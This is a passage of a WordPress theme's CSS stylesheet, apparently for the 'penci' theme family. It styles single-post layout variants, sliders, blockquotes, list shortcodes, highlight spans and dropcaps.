	flex-wrap: wrap;
	justify-content: space-between;
	align-items: center;
}
.penci-single-style-20 .penci-post-image-wrapper {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-top: 40px;
	padding-bottom: 40px;
	max-height: inherit;
	margin-bottom: 40px
}
.penci-single-style-15 .penci-post-image-wrapper,
.penci-single-style-13 .penci-post-image-wrapper {
	max-height: inherit;
	margin-bottom: 45px;
	background: var(--pcaccent-cl);
}
.penci-single-style-10 .header-standard,
.penci-single-style-10 .post-box-meta-single,
.penci-single-style-15 .header-standard,
.penci-single-style-15 .post-box-meta-single,
.penci-single-style-13 .header-standard,
.penci-single-style-13 .post-box-meta-single {
	text-align: left
}
.penci-body-single-style-10.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content,
.penci-body-single-style-20.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content,
.penci-body-single-style-15.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content,
.penci-body-single-style-13.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content {
	width: 100%;
	float: none
}
.penci-single-style-15 .post-format-entry-header {
	position: relative;
}
.penci-single-style-15 .container.two-sidebar .penci-sidebar-content,
.penci-single-style-15 .penci-post-image-wrapper .penci-sidebar-content {
	position: absolute;
	z-index: 99;
	left: 0;
	background: #fff;
	padding: 30px;
	top: 50%;
	transform: translateY(-50%);
	width: 40%;
}
.penci-single-style-15 .penci-single-s15-content {
	width: 100vw;
	padding-left: 20%;
}
.penci-single-style-15 .penci-container-inside {
	width: var(--pcctain);
  	margin: 0 auto;
}
.penci-single-style-15 .penci-container-inside.penci-breadcrumb {
	padding-top: 30px;
}
.penci-single-style-15 .penci-container-inside.penci-breadcrumb a, 
.penci-single-style-15 .penci-container-inside.penci-breadcrumb i,
.penci-single-style-15 .penci-container-inside.penci-breadcrumb span, 
.penci-single-style-15 .penci-container-inside.penci-breadcrumb span a {
	color: #fff;
}
.penci-body-single-style-22 .container.penci-breadcrumb {
	margin-top: 10px;
}
.penci-body-single-style-16 .container.penci-breadcrumb,
.penci-body-single-style-11 .penci-breadcrumb,
.penci-body-single-style-12 .penci-breadcrumb,
.penci-body-single-style-14 .penci-breadcrumb,
.penci-body-single-style-16 .penci-breadcrumb,
.penci-body-single-style-17 .penci-breadcrumb,
.penci-body-single-style-18 .penci-breadcrumb,
.penci-body-single-style-19 .penci-breadcrumb,
.penci-body-single-style-22 .container.penci-breadcrumb,
.penci-body-single-style-22 .container-single .header-standard, 
.penci-body-single-style-22 .container-single .post-box-meta-single {
	text-align: center;
}
.penci-body-single-style-22 .container-single .header-standard {
	margin-bottom: 40px;
	padding-bottom: 35px;
	position: relative;
}
.penci-body-single-style-22 .container-single .header-standard:after {
	content: '';
	position: absolute;
	display: block;
	justify-content: center;
	background: var(--pcmeta-cl);
	width: 100px;
	height: 4px;
	align-self: center;
	bottom: 0;
	left: 50%;
	margin-left: -50px;
	transform: unset;
}   
.penci-body-single-style-22 .container-single-fullwidth .post-image {
	position: relative;
	overflow: visible;
	margin-bottom: 80px;
}
.penci-body-single-style-22 .post-image .penci-author-wrapper {
	position: absolute;
	bottom: -50px;
	left: 50%;
	right: 50%;
	z-index: 10;
	width: 100px;
	height: 100px;
	border-radius: 50%;
	overflow: hidden;
	background: #fff;
	padding: 5px;
	transform: translateX(-50%);
	box-shadow: 0 0 30px rgba(0,0,0,.08);
}
.penci-body-single-style-22 .post-image .penci-author-wrapper img {
  	border-radius: 50%;
}
@media only screen and (max-width: 960px) {
	.penci-body-single-style-22 .post-image .penci-author-wrapper {
	  width: 60px;
	  height: 60px;
	  bottom: -30px;
	}
	.penci-body-single-style-22 .container-single-fullwidth .post-image {
	  margin-bottom: 40px;
	}
}
@media only screen and (max-width: 1169px) {
	.penci-single-style-13 .penci-container-inside.penci-breadcrumb,
	.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content .single-header {
		max-width: 100%;
		float: none;
	}
	.penci-single-style-15 .penci-post-image-wrapper,
	.penci-single-style-13 .penci-post-image-wrapper {
		margin-bottom: 40px;
	}
	.penci-body-single-style-14 .penci-single-smore .container {
		padding-left: 0;
		padding-right: 0;
	}
	.penci-single-style-15 .container.two-sidebar .penci-sidebar-content, 
	.penci-single-style-15 .penci-post-image-wrapper .penci-sidebar-content {
		transform: unset;
	}
	.penci-single-style-15 .penci-single-s15-content {
		padding-left: 10%;
	}
	.penci-single-style-15 .penci-container-inside {
		max-width: 100%;
	} 
	.penci-single-style-19 .container.penci-breadcrumb,
	.penci-single-style-17 .container.penci-breadcrumb {
		padding-left: 0;
		padding-right: 0;
	}
	.penci-body-single-style-18 .penci-post-content-wrapper-inner {
		padding: 20px;
	}
	.penci-body-single-style-18 .penci-post-content-wrapper {
		padding-top: 30px;
	}
	.penci-single-style-20 .post-format-entry-header {
		flex-direction: column;
	}
	.penci-single-style-20 .penci-post-image-wrapper .penci-sidebar-content,
	.penci-single-style-20 .penci-single-s20-content {
		width: 100%;
	}
}
@media only screen and (max-width: 960px) {
	.penci-single-style-13 .post-format-entry-header {
		flex-direction: column;
	}
	.penci-single-style-15 .penci-single-s15-content {
		padding-left: 0;
		width: 100%;
	}
	.penci-single-style-16:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
		padding-left: 0;
		padding-right: 0;
		margin-left: 0;
	}
}
@media only screen and (max-width: 767px) {
	.penci-single-style-13.penci-show-ft-caption .penci-post-image-wrapper .penci-sidebar-content:after,
	.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before,
	.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:after {
		display: none;
	}
	.penci-single-style-13 .penci-container-inside.penci-breadcrumb,
	.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content .single-header {
		padding: 0;
	}
	.penci-single-style-21 .standard-post-special_wrapper {
		position: absolute;
		left: 0;
		right: 0;
		bottom: 0;
		padding: 0 30px;
		display: block;
		z-index: 10;
		background: transparent;
		margin-bottom: 0;
		padding-top: 0;
	}
	.penci-single-style-21 .post-image:after {
		content: '';
	}
	.penci-single-style-21.container-single.penci-header-text-white .header-standard .post-title,
	.penci-single-style-21.penci-header-text-white .cat>a.penci-cat-name,
	.penci-single-style-21.penci-header-text-white .container.penci-breadcrumb a,
	.penci-single-style-21.penci-header-text-white .container.penci-breadcrumb i,
	.penci-single-style-21.penci-header-text-white .container.penci-breadcrumb span,
	.penci-single-style-21.penci-header-text-white .header-standard .author-post span a,
	.penci-single-style-21.penci-header-text-white .header-standard .post-title,
	.penci-single-style-21.penci-header-text-white .header-standard h2,
	.penci-single-style-21.penci-header-text-white .header-standard h2 a,	
	.penci-single-style-21.penci-header-text-white .pc_titlebig_standard,
	.penci-single-style-21.penci-header-text-white .pc_titlebig_standard a,
	.penci-single-style-21.penci-header-text-white .post-box-meta-single span {
		color: #fff
	}
	.penci-author-img-wrapper .author img {
		max-width: 30px;
	}
	.penci-author-img-wrapper .author-name {
		font-size: 12px;
	}
}
@media only screen and (max-width:479px) {
	.penci-single-style-9 .penci-post-image-wrapper {
		padding-top: 20px;
		padding-bottom: 20px
	}
}
.post-box-meta-single {
	text-align: center;
	margin: 6px 0 0;
	font-size: 14px
}
.post-box-meta-single span {
	color: #888
}
.header-standard .post-box-meta-single .author-post,
.header-standard .post-box-meta-single .author-post span a,
.header-standard .post-box-meta-single span {
	font-size: inherit
}
.post-box-meta-single span strong,
.post-box-meta-single span time {
	font-size: inherit;
	font-family: inherit;
	color: inherit
}
.post-box-meta-single a {
	color: #313131
}
.post-box-meta-single a:hover {
	color: var(--pcaccent-cl)
}
.post-box-meta-single>span:before,
.standard-top-meta>span:before {
	content: "";
	width: 0;
	height: 10px;
	margin: 0 13px;
	display: inline-block;
	background: 0 0 !important;
	border-right: 1px solid;
	opacity: .7
}
.post-box-meta-single>span:first-child:before,
.standard-top-meta>span:first-child:before {
	content: none;
	display: block
}
#wpadminbar {
	z-index: 9999
}
#wpadminbar:hover {
	z-index: 99999
}
.post-image {
	margin-bottom: 26px;
	text-align: center;
	vertical-align: top;
	overflow: hidden;
	position: relative
}
body.single .post-image:hover {
	overflow: initial;
}
.container-single-fullwidth .post-image {
	margin-bottom: 40px
}
.post-image img {
	max-width: 100%;
	height: auto
}
.post-image.audio iframe,
.standard-post-image.audio iframe {
	height: 166px;
	width: 100%
}
.container-single a[data-rel=penci-gallery-bground-content],
.container-single a[data-rel=penci-gallery-image-content],
.container-single-page a[data-rel=penci-gallery-image-content] {
	cursor: zoom-in
}
.penci-slick-slider {
	position: relative;
	opacity: 0;
	transition: .4s;
	-webkit-transition: .4s;
	-moz-transition: .4s;
	max-height: 500px
}
.penci-grid .penci-slick-slider,
.penci-masonry .penci-slick-slider {
	max-height: 250px;
	overflow: hidden
}
.penci-slick-slider img {
	width: 100%
}
.penci-slick-slider.loaded {
	opacity: 1;
	overflow: visible !important;
	max-height: none !important
}
.penci-slick-slider>button.slick-next,
.penci-slick-slider>button.slick-prev {
	position: absolute;
	width: 36px;
	height: 36px;
	display: inline-block;
	top: 50%;
	margin-top: -18px;
	cursor: pointer;
	outline: 0;
	opacity: 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	text-align: center;
	line-height: 36px;
	background: #fff;
	z-index: 12;
	border-radius: 100%;
	-webkit-border-radius: 100%;
	-moz-border-radius: 100%;
	color: #313131;
	border: none
}
.penci-slick-slider>button.slick-prev {
	left: 30px
}
.penci-grid .penci-slick-slider>button.slick-prev,
.penci-masonry .penci-slick-slider>button.slick-prev {
	left: 20px
}
.penci-slick-slider>button.slick-next {
	right: 30px
}
.penci-grid .penci-slick-slider>button.slick-next,
.penci-masonry .penci-slick-slider>button.slick-next {
	right: 20px
}
.penci-slick-slider.loaded>button.slick-next,
.penci-slick-slider.loaded>button.slick-prev {
	opacity: .8
}
.penci-slick-slider.loaded>button.slick-next:hover,
.penci-slick-slider.loaded>button.slick-prev:hover,
.penci-slick-slider>button.slick-next:hover,
.penci-slick-slider>button.slick-prev:hover {
	opacity: 1
}
.penci-slick-slider>button.slick-next i,
.penci-slick-slider>button.slick-prev i {
	font-size: 20px;
	display: inline-block;
	line-height: 36px
}
.penci-grid .penci-slick-slider>button.slick-next,
.penci-grid .penci-slick-slider>button.slick-prev {
	opacity: .8
}
.penci-grid .penci-slick-slider:hover>button.slick-next,
.penci-grid .penci-slick-slider:hover>button.slick-prev {
	opacity: .8
}
.penci-grid .penci-slick-slider>button.slick-next:hover,
.penci-grid .penci-slick-slider>button.slick-prev:hover {
	opacity: 1
}
.penci-single-smaller-width {
	max-width: 780px
}
.post-entry {
	margin-bottom: 33px;
	line-height: 28px
}
.penci-custom-html-inside-content {
	margin-bottom: 20px
}
.post-entry.standard-post-entry {
	margin-bottom: 0
}
.post-entry:before {
	content: " ";
	display: table
}
.post-entry .inner-post-entry:after {
	content: " ";
	display: table;
	clear: both
}
.post-entry.page-has-margin {
	margin-bottom: 60px
}
.post-entry img {
	max-width: 100%;
	height: auto
}
.wpb_text_column {
	line-height: 1.8
}
.post-entry a:hover,
.wpb_text_column a:hover {
	text-decoration: underline
}
.elementor-widget-text-editor h1,
.elementor-widget-text-editor h2,
.elementor-widget-text-editor h3,
.elementor-widget-text-editor h4,
.elementor-widget-text-editor h5,
.elementor-widget-text-editor h6,
.elementor-widget-text-editor hr,
.post-entry h1,
.post-entry h2,
.post-entry h3,
.post-entry h4,
.post-entry h5,
.post-entry h6,
.post-entry hr,
.woocommerce .page-description h1,
.woocommerce .page-description h2,
.woocommerce .page-description h3,
.woocommerce .page-description h4,
.woocommerce .page-description h5,
.woocommerce .page-description h6,
.woocommerce .page-description hr,
.wpb_text_column h1,
.wpb_text_column h2,
.wpb_text_column h3,
.wpb_text_column h4,
.wpb_text_column h5,
.wpb_text_column h6,
.wpb_text_column hr {
	margin-bottom: 17px
}
.elementor-widget-text-editor .widget ul li,
.elementor-widget-text-editor p,
.post-entry .elementor-widget-text-editor p {
	font-size: inherit;
	line-height: inherit;
	font-family: inherit;
	font-weight: inherit;
	color: inherit;
	text-align: inherit
}
.post-entry p,
.woocommerce .page-description p,
.wpb_text_column p {
	margin-bottom: 17px
}
.post-entry h1,
.post-entry h2,
.post-entry h3,
.post-entry h4,
.post-entry h5,
.post-entry h6,
.woocommerce .page-description h1,
.woocommerce .page-description h2,
.woocommerce .page-description h3,
.woocommerce .page-description h4,
.woocommerce .page-description h5,
.woocommerce .page-description h6,
.wpb_text_column h1,
.wpb_text_column h2,
.wpb_text_column h3,
.wpb_text_column h4,
.wpb_text_column h5,
.wpb_text_column h6 {
	color: var(--pcheading-cl);
	letter-spacing: 0;
	line-height: 1.3em
}
.elementor-widget-text-editor h1,
.post-entry h1,
.woocommerce .page-description h1,
.wpb_text_column h1 {
	font-size: 24px
}
.elementor-widget-text-editor h2,
.post-entry h2,
.woocommerce .page-description h2,
.wpb_text_column h2 {
	font-size: 22px
}
.elementor-widget-text-editor h3,
.post-entry h3,
.woocommerce .page-description h3,
.wpb_text_column h3 {
	font-size: 20px
}
.elementor-widget-text-editor h4,
.post-entry h4,
.woocommerce .page-description h4,
.wpb_text_column h4 {
	font-size: 18px
}
.elementor-widget-text-editor h5,
.post-entry h5,
.woocommerce .page-description h5,
.wpb_text_column h5 {
	font-size: 16px
}
.elementor-widget-text-editor h6,
.post-entry h6,
.woocommerce .page-description h6,
.wpb_text_column h6 {
	font-size: 14px
}
.elementor-widget-text-editor hr,
.post-entry hr,
.woocommerce .page-description hr,
.wpb_text_column hr {
	border: 0;
	height: 0;
	border-bottom: 1px solid #dedede;
	clear: both
}
.post-password-form input[type=email],
.post-password-form input[type=number],
.post-password-form input[type=password],
.post-password-form input[type=text] {
	padding: 9px 20px;
	border: 1px solid #dedede;
	margin-bottom: 28px;
	font-size: 12px;
	font-weight: 400;
	font-family: var(--pcbody-font);
	max-height: 50px;
	outline: 0;
	height: 36px;
	line-height: 36px
}
.post-password-form input[type=submit] {
	padding: 0 20px;
	border: none;
	background: #313131;
	color: #fff;
	cursor: pointer;
	outline: 0;
	text-transform: uppercase;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	height: 36px;
	line-height: 36px;
	margin-left: 5px
}
.post-password-form input[type=submit]:hover {
	opacity: .85
}
.post-entry blockquote,
.woocommerce .page-description blockquote,
.wpb_text_column blockquote {
	padding: 0;
	position: relative;
	margin: 0 0 20px 0
}
.post-entry blockquote,
.post-entry blockquote p,
.woocommerce .page-description blockquote,
.woocommerce .page-description blockquote p,
.wpb_text_column blockquote,
.wpb_text_column blockquote p {
	font-size: 16px;
	color: #888;
	font-style: italic;
	line-height: 1.7;
	text-align: left
}
.post-entry blockquote p,
.woocommerce .page-description blockquote p,
.wpb_text_column blockquote p {
	margin: 0
}
.post-entry blockquote,
.woocommerce .page-description blockquote,
.wpb_text_column blockquote {
	position: relative;
	padding: 0 0 0 40px;
	border: none;
	overflow: hidden
}
.post-entry .wp-block-quote,
.woocommerce .page-description .wp-block-quote,
.wpb_text_column .wp-block-quote {
	padding-left: 1em;
	border-left: 4px solid #000
}
.post-entry blockquote:before,
.woocommerce .page-description blockquote:before,
.wpb_text_column blockquote:before {
	color: var(--pcaccent-cl);
	content: "\f101";
	font-family: penciicon;
	font-size: 22px;
	font-weight: 400;
	line-height: 1;
	font-style: normal;
	position: absolute;
	top: 6px;
	left: 2px
}
.post-entry blockquote .author,
.post-entry blockquote cite,
.woocommerce .page-description blockquote .author,
.woocommerce .page-description blockquote cite,
.wpb_text_column blockquote .author,
.wpb_text_column blockquote cite {
	display: block;
	font-size: 12px;
	text-transform: uppercase;
	margin-top: 7px;
	color: var(--pcaccent-cl);
	font-style: normal;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	overflow: hidden;
	text-align: left;
	position: relative;
	z-index: 1
}
.post-entry blockquote .author span,
.woocommerce .page-description blockquote .author span,
.wpb_text_column blockquote .author span {
	position: relative;
	display: inline-block;
	padding: 0 10px 0 0
}
.post-entry blockquote .author span:after,
.woocommerce .page-description blockquote .author span:after,
.wpb_text_column blockquote .author span:after {
	content: "";
	position: absolute;
	top: 50%;
	width: 90px;
	height: 1px;
	background: var(--pcaccent-cl);
	left: 100%;
	opacity: .8
}
.penci-single-link-pages {
	display: block;
	width: 100%
}
.penci-single-link-pages:after,
.penci-single-link-pages:before {
	content: "";
	display: table;
	clear: both
}
.penci-single-link-pages a {
	display: inline-block;
	margin: 0 4px 5px 4px;
	padding: 4px 7px;
	line-height: 1;
	border: 1px solid;
	color: inherit;
	text-decoration: none !important;
	transition: all .3s;
	-webkit-transition: all .3s
}
.penci-single-link-pages a:hover {
	opacity: .7
}
.elementor-widget-table-of-contents .elementor-toc__header-title {
	margin-bottom: 0
}
.post-entry .elementor-widget-table-of-contents ol,
.post-entry .elementor-widget-table-of-contents ul {
	padding: 0;
	margin-bottom: 0
}
.post-entry .elementor-widget-table-of-contents ol li,
.post-entry .elementor-widget-table-of-contents ul li {
	list-style-type: none
}
.post-entry.blockquote-style-2 blockquote {
	background: #f5f5f5;
	padding: 10px 20px 10px 24px
}
.post-entry.blockquote-style-2 blockquote:before {
	content: "";
	left: 0;
	position: absolute;
	height: 100%;
	top: 0;
	width: 4px;
	background: var(--pcaccent-cl)
}
.post-entry.blockquote-style-2 .author span {
	padding: 0 0 0 30px
}
.post-entry.blockquote-style-2 .author span:after {
	width: 20px;
	left: 0
}
.penci-pullqoute.align-left {
	max-width: 460px;
	float: left;
	width: 100%;
	margin-right: 20px
}
.penci-pullqoute.align-right {
	max-width: 460px;
	float: right;
	width: 100%;
	margin-left: 20px
}
.elementor-widget-text-editor ol,
.elementor-widget-text-editor ul,
.post-entry ol,
.post-entry ul,
.woocommerce .page-description ol,
.woocommerce .page-description ul {
	padding-left: 36px;
	margin-bottom: 20px
}
.elementor-widget-text-editor .penci-sidebar-content ol,
.elementor-widget-text-editor .penci-sidebar-content ul,
.post-entry .penci-sidebar-content ol,
.post-entry .penci-sidebar-content ul,
.woocommerce .page-description .penci-sidebar-content ol,
.woocommerce .page-description .penci-sidebar-content ul {
	padding-left: 0;
	margin-bottom: 0
}
.woocommerce-error::before,
.woocommerce-info::before,
.woocommerce-message::before {
	background-color: transparent !important
}
.elementor-widget-text-editor ol ol,
.elementor-widget-text-editor ol ul,
.elementor-widget-text-editor ul ol,
.elementor-widget-text-editor ul ul,
.post-entry ol ol,
.post-entry ol ul,
.post-entry ul ol,
.post-entry ul ul,
.woocommerce .page-description ol ol,
.woocommerce .page-description ol ul,
.woocommerce .page-description ul ol,
.woocommerce .page-description ul ul {
	margin: 2px 0;
	padding-left: 22px
}
.elementor-widget-text-editor .penci-sidebar-content ol ol,
.elementor-widget-text-editor .penci-sidebar-content ol ul,
.elementor-widget-text-editor .penci-sidebar-content ul ol,
.elementor-widget-text-editor .penci-sidebar-content ul ul,
.post-entry .penci-sidebar-content ol ol,
.post-entry .penci-sidebar-content ol ul,
.post-entry .penci-sidebar-content ul ol,
.post-entry .penci-sidebar-content ul ul,
.woocommerce .page-description .penci-sidebar-content ol ol,
.woocommerce .page-description .penci-sidebar-content ol ul,
.woocommerce .page-description .penci-sidebar-content ul ol,
.woocommerce .page-description .penci-sidebar-content ul ul {
	margin: 0;
	padding-left: 0
}
.elementor-widget-text-editor ul li,
.post-entry ul li,
.woocommerce .page-description ul li {
	margin-bottom: 6px;
	position: relative;
	list-style-type: square;
	line-height: 1.7
}
.elementor-widget-text-editor ol li,
.post-entry ol li,
.woocommerce .page-description ol li {
	margin-bottom: 2px;
	list-style: decimal
}
.elementor-widget-text-editor .penci-sidebar-content ol li,
.elementor-widget-text-editor .penci-sidebar-content ul li,
.post-entry .penci-sidebar-content ol li,
.post-entry .penci-sidebar-content ul li,
.woocommerce .page-description .penci-sidebar-content ol li,
.woocommerce .page-description .penci-sidebar-content ul li {
	list-style-type: none
}
.post-entry ol.wp-block-gallery,
.post-entry ul.wp-block-gallery {
	padding: 0
}
.sticky.post .post-header {
	border: 1px dashed #ddd;
	padding: 20px 0
}
.post-entry table {
	width: 100%;
	margin-bottom: 22px;
	border-collapse: collapse;
	border-left: 1px solid var(--pcborder-cl);
	border-right: 1px solid var(--pcborder-cl);
	border-top: 1px solid var(--pcborder-cl)
}
.post-entry td,
.post-entry th {
	padding: 12px;
	border-bottom: 1px solid var(--pcborder-cl);
	border-color: var(--pcborder-cl)
}
.post-entry th {
	font-weight: 700
}
.post-entry em strong {
	font-style: italic
}
.pencisc-button,
.post-entry .pencisc-button,
.woocommerce-product-details__short-description .pencisc-button {
	border: none;
	border-radius: 0;
	background: var(--pcaccent-cl);
	color: #fff;
	line-height: 1.3;
	padding: 10px 20px;
	text-align: center;
	transition: all .25s;
	font-size: 14px;
	text-transform: uppercase;
	cursor: pointer;
	display: inline-block;
	text-decoration: none !important
}
.pencisc-button i {
	margin-right: 5px
}
.pencisc-button.pencisc-icon-right i {
	margin: 0 0 0 5px
}
.pencisc-align-right {
	float: right;
	margin: 5px 0 20px 20px
}
.pencisc-align-left {
	float: left;
	margin: 5px 20px 20px 0
}
.pencisc-button.pencisc-full,
.post-entry .pencisc-button.pencisc-full,
.woocommerce-product-details__short-description .pencisc-button.pencisc-full {
	display: block;
	width: 100%;
	margin-left: 0;
	margin-right: 0
}
.pencisc-button,
.post-entry .pencisc-button.pencisc-small,
.woocommerce-product-details__short-description .pencisc-button.pencisc-small {
	padding: 7px 12px;
	font-size: 12px
}
.pencisc-button,
.post-entry .pencisc-button.pencisc-large,
.woocommerce-product-details__short-description .pencisc-button.pencisc-large {
	padding: 15px 30px;
	font-size: 18px
}
ul.penci_list_shortcode {
	list-style: none !important;
	list-style-type: none !important
}
.elementor-widget-text-editor ul.penci_list_shortcode,
.post-entry ul.penci_list_shortcode,
.woocommerce .page-description ul.penci_list_shortcode {
	padding-left: 19px
}
.heading1-style-1 .entry-content>h1,
.heading1-style-2 .entry-content>h1,
.heading2-style-1 .entry-content>h2,
.heading2-style-2 .entry-content>h2,
.heading3-style-1 .entry-content>h3,
.heading3-style-2 .entry-content>h3,
.heading4-style-1 .entry-content>h4,
.heading4-style-2 .entry-content>h4,
.heading5-style-1 .entry-content>h5,
.heading5-style-2 .entry-content>h5 {
	padding-bottom: 8px;
	border-bottom: 1px solid var(--pcborder-cl);
	overflow: hidden
}
.heading1-style-2 .entry-content>h1,
.heading2-style-2 .entry-content>h2,
.heading3-style-2 .entry-content>h3,
.heading4-style-2 .entry-content>h4,
.heading5-style-2 .entry-content>h5 {
	border-bottom-width: 0;
	position: relative
}
.heading1-style-2 .entry-content>h1:before,
.heading2-style-2 .entry-content>h2:before,
.heading3-style-2 .entry-content>h3:before,
.heading4-style-2 .entry-content>h4:before,
.heading5-style-2 .entry-content>h5:before {
	content: "";
	width: 50px;
	height: 2px;
	bottom: 0;
	left: 0;
	z-index: 2;
	background: var(--pcaccent-cl);
	position: absolute
}
.heading1-style-2 .entry-content>h1:after,
.heading2-style-2 .entry-content>h2:after,
.heading3-style-2 .entry-content>h3:after,
.heading4-style-2 .entry-content>h4:after,
.heading5-style-2 .entry-content>h5:after {
	content: "";
	width: 100%;
	height: 2px;
	bottom: 0;
	left: 20px;
	z-index: 1;
	background: var(--pcborder-cl);
	position: absolute
}
.heading1-style-3 .entry-content>h1,
.heading1-style-4 .entry-content>h1,
.heading2-style-3 .entry-content>h2,
.heading2-style-4 .entry-content>h2,
.heading3-style-3 .entry-content>h3,
.heading3-style-4 .entry-content>h3,
.heading4-style-3 .entry-content>h4,
.heading4-style-4 .entry-content>h4,
.heading5-style-3 .entry-content>h5,
.heading5-style-4 .entry-content>h5 {
	position: relative;
	padding-left: 20px
}
.heading1-style-3 .entry-content>h1:before,
.heading1-style-4 .entry-content>h1:before,
.heading2-style-3 .entry-content>h2:before,
.heading2-style-4 .entry-content>h2:before,
.heading3-style-3 .entry-content>h3:before,
.heading3-style-4 .entry-content>h3:before,
.heading4-style-3 .entry-content>h4:before,
.heading4-style-4 .entry-content>h4:before,
.heading5-style-3 .entry-content>h5:before,
.heading5-style-4 .entry-content>h5:before {
	width: 10px;
	height: 100%;
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	background: var(--pcaccent-cl)
}
.heading1-style-4 .entry-content>h1,
.heading2-style-4 .entry-content>h2,
.heading3-style-4 .entry-content>h3,
.heading4-style-4 .entry-content>h4,
.heading5-style-4 .entry-content>h5 {
	padding: 10px 20px;
	background: #f1f1f1
}
.heading1-style-5 .entry-content>h1,
.heading2-style-5 .entry-content>h2,
.heading3-style-5 .entry-content>h3,
.heading4-style-5 .entry-content>h4,
.heading5-style-5 .entry-content>h5 {
	position: relative
}
.heading1-style-5 .entry-content>h1:before,
.heading2-style-5 .entry-content>h2:before,
.heading3-style-5 .entry-content>h3:before,
.heading4-style-5 .entry-content>h4:before,
.heading5-style-5 .entry-content>h5:before {
	content: "";
	position: absolute;
	left: 0;
	bottom: 0;
	width: 200px;
	height: 50%;
	transform: skew(-25deg) translateX(0);
	background: var(--pcaccent-cl);
	z-index: -1;
	opacity: .4
}
.heading1-style-6 .entry-content>h1,
.heading2-style-6 .entry-content>h2,
.heading3-style-6 .entry-content>h3,
.heading4-style-6 .entry-content>h4,
.heading5-style-6 .entry-content>h5 {
	text-decoration: underline;
	text-underline-offset: 2px;
	text-decoration-thickness: 4px;
	text-decoration-color: var(--pcaccent-cl)
}
.penci_list_shortcode li {
	position: relative;
	list-style: none !important;
	padding-left: 20px !important
}
.penci_list_shortcode li:before {
	color: var(--pcaccent-cl);
	content: "\f00c" !important;
	width: 20px !important;
	height: auto !important;
	margin-left: -20px;
	display: inline-block;
	font: normal normal normal 14px/1 FontAwesome;
	font-size: inherit;
	text-rendering: auto;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	transform: none;
	background: 0 0 !important;
	transform: none !important;
	opacity: 1 !important;
	position: static !important;
	border: none !important
}
.penci_list_shortcode.penci_list-starlist li:before {
	content: "\f005" !important
}
.penci_list_shortcode.penci_list-pluslist li:before {
	content: "\f0fe" !important
}
.penci_list_shortcode.penci_list-minuslist li:before {
	content: "\f146" !important
}
.penci_list_shortcode.penci_list-editlist li:before {
	content: "\f044" !important
}
.penci_list_shortcode.penci_list-asterisklist li:before {
	content: "\f069" !important
}
.penci_list_shortcode.penci_list-thumbuplist li:before {
	content: "\f164" !important
}
.penci_list_shortcode.penci_list-folderlist li:before {
	content: "\f07b" !important
}
.penci_list_shortcode.penci_list-thumbdownlist li:before {
	content: "\f165" !important
}
.penci_list_shortcode.penci_list-heartlist li:before {
	content: "\f004" !important
}
.penci-highlight-black {
	-webkit-transition: color .3s;
	-moz-transition: color .3s;
	-o-transition: color .3s;
	transition: color .3s;
	background-color: rgba(0, 0, 0, .8);
	padding: 2px 0;
	margin: 0 7px 0 8px;
	box-shadow: 6px 0 0 rgba(0, 0, 0, .8), -8px 0 0 rgba(0, 0, 0, .8);
	color: gray
}
.penci-highlight-black:hover {
	color: #fff
}
.penci-highlighted-black {
	background-color: rgba(0, 0, 0, .8);
	padding: 2px 0;
	margin: 0 7px 0 8px;
	box-shadow: 6px 0 0 rgba(0, 0, 0, .8), -8px 0 0 rgba(0, 0, 0, .8);
	color: #fff
}
.penci-highlighted-red {
	background-color: red;
	padding: 2px 0;
	margin: 0 7px 0 8px;
	box-shadow: 6px 0 0 red, -8px 0 0 red;
	color: #fff
}
.penci-highlighted-blue {
	background-color: #3f51b5;
	padding: 2px 0;
	margin: 0 7px 0 8px;
	box-shadow: 6px 0 0 #3f51b5, -8px 0 0 #3f51b5;
	color: #fff
}
.penci-highlighted-green {
	background-color: green;
	padding: 2px 0;
	margin: 0 7px 0 8px;
	box-shadow: 6px 0 0 green, -8px 0 0 green;
	color: #fff
}
.penci-highlighted-yellow {
	background-color: #ffcb00;
	padding: 2px 0;
	margin: 0 7px 0 8px;
	box-shadow: 6px 0 0 #ffcb00, -8px 0 0 #ffcb00;
	color: #fff
}
.penci-highlighted-pink {
	background-color: pink;
	padding: 2px 0;
	margin: 0 7px 0 8px;
	box-shadow: 6px 0 0 pink, -8px 0 0 pink;
	color: #fff
}
.penci-tpadding-0,
.penci-tpadding-1,
.penci-tpadding-2,
.penci-tpadding-3,
.penci-tpadding-4,
.penci-tpadding-5,
.penci-tpadding-6,
.penci-tpadding-7 {
	display: block;
	margin-bottom: 17px
}
.penci-tpadding-1 {
	padding-left: 0;
	padding-right: 5%
}
.penci-tpadding-2 {
	padding-left: 5%;
	padding-right: 0
}
.penci-tpadding-3 {
	padding-left: 5%;
	padding-right: 5%
}
.penci-tpadding-4 {
	padding-left: 5%;
	padding-right: 10%
}
.penci-tpadding-5 {
	padding-left: 10%;
	padding-right: 5%
}
.penci-tpadding-6 {
	padding-left: 10%;
	padding-right: 10%
}
.penci-tpadding-7 {
	padding-left: 15%;
	padding-right: 15%
}
@media (max-width:767px) {
	.penci-tpadding-0,
	.penci-tpadding-1,
	.penci-tpadding-2,
	.penci-tpadding-3,
	.penci-tpadding-4,
	.penci-tpadding-5,
	.penci-tpadding-6,
	.penci-tpadding-7 {
		padding-left: 3% !important;
		padding-right: 3% !important
	}
}
.penci-dropcap-box {
	float: left;
	display: block;
	background-color: var(--pcaccent-cl);
	color: #fff;
	text-align: center;
	text-transform: uppercase;
	min-width: 56px;
	font-size: 48px;
	line-height: 50px;
	margin: 6px 13px 0 0;
	padding: 3px 13px
}
.penci-dropcap-box-outline {
	float: left;
	display: block;
	background-color: transparent !important;
	text-align: center;
	text-transform: uppercase;
	border: 2px solid var(--pcaccent-cl);
	color: var(--pcaccent-cl);
	min-width: 56px;
	font-size: 48px;
	line-height: 50px;
	margin: 6px 13px 0 0;
	padding: 3px 13px
}
